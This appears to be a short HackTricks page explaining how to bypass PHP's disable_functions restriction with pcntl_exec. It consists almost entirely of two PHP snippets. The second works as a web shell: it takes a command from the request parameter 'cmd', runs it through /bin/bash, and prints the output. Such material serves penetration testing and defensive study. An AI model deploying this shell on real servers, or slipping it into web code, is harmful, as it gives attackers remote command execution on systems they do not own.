disable_functions bypass - PHP 4 >= 4.2.0, PHP 5 pcntl_exec
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking:
HackTricks Training GCP Red Team Expert (GRTE)
PHP 4 >= 4.2.0, PHP 5 pcntl_exec
From http://blog.safebuff.com/2016/05/06/disable-functions-bypass/
<?php
$dir = '/var/tmp/';
$cmd = 'ls';
$option = '-l';
$pathtobin = '/bin/bash';
$arg = array($cmd, $option, $dir);
pcntl_exec($pathtobin, $arg);
echo '123';
?>
<?php
$cmd = @$_REQUEST[cmd];
if(function_exists('pcntl_exec')) {
$cmd = $cmd."&pkill -9 bash >out";
pcntl_exec("/bin/bash", $cmd);
echo file_get_contents("out");
} else {
echo '不支持pcntl扩展';
}
?>
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking:
HackTricks Training GCP Red Team Expert (GRTE)
Previousdisable_functions bypass - mod_cgiNextPHP - RCE abusing object creation: new $_GET["a"]($_GET["b"])
Last updated